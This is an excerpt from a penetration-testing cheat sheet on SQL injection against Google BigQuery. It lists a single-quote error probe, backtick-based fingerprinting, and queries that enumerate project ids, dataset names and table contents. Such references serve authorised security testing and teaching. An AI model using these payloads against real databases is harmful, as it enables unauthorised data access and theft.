* Use a classic single quote to trigger an error: `'` * Identify BigQuery using backtick notation: ```SELECT .... FROM `` AS ...``` | SQL Query | Description | | ----------------------------------------------------- | ------------------------------------------------- | | `SELECT @@project_id` | Gathering project id | | `SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA` | Gathering all dataset names | | `select * from project_id.dataset_name.table_name` | Gathering data from specific project id & dataset |
Source: SQL Injection/BigQuery Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.